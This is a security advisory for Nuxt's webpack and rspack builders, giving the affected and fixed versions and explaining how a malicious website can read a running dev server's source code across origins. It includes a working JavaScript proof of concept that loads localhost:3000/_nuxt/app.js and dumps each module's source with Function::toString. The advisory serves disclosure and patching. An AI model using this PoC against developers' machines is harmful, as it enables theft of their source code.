GHSA-4gf7-ff8x-hq99 Opening a malicious website while running a Nuxt dev server could allow read-only access to code

• npm @nuxt/webpack-builder: >= 3.0.0, < 3.15.3 → fixed in 3.15.3 • npm @nuxt/rspack-builder: >= 3.12.2, < 3.15.3 → fixed in 3.15.3

Summary Source code may be stolen during dev when using webpack / rspack builder and you open a malicious web site. Details Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject `` in their site and run the script. By using `Function::toString` against the values in `window.webpackChunknuxt_app`, the attacker can get the source code. PoC 1. Create a nuxt project with webpack / rspack builder. 1. Run `npm run dev` 1. Open `http://localhost:3000` 1. Run the script below in a web site that has a different origin. 1. You can see the source code output in the document and the devtools console. ```js const script = document.createElement('script') script.src = 'http://localhost:3000/_nuxt/app.js' script.addEventListener('load', () => { for (const page in window.webpackChunknuxt_app) { const moduleList = window.webpackChunknuxt_app[page][1] console.log(moduleList) for (const key in moduleList) { const p = document.createElement('p') const title = document.createElement('strong') title.textContent = key const code = document.createElement('code') code.textContent = moduleList[key].toString() p.append(title, ':', document.createElement('br'), code) document.body.appendChild(p) } } }) document.head.appendChild(script) ``` It contains the compiled source code and also the source map (but it seems the sourcemap contains transformed content in the `sourcesContent` field). Impact Users using webpack / rspack builder may get the source code stolen by malicious websites.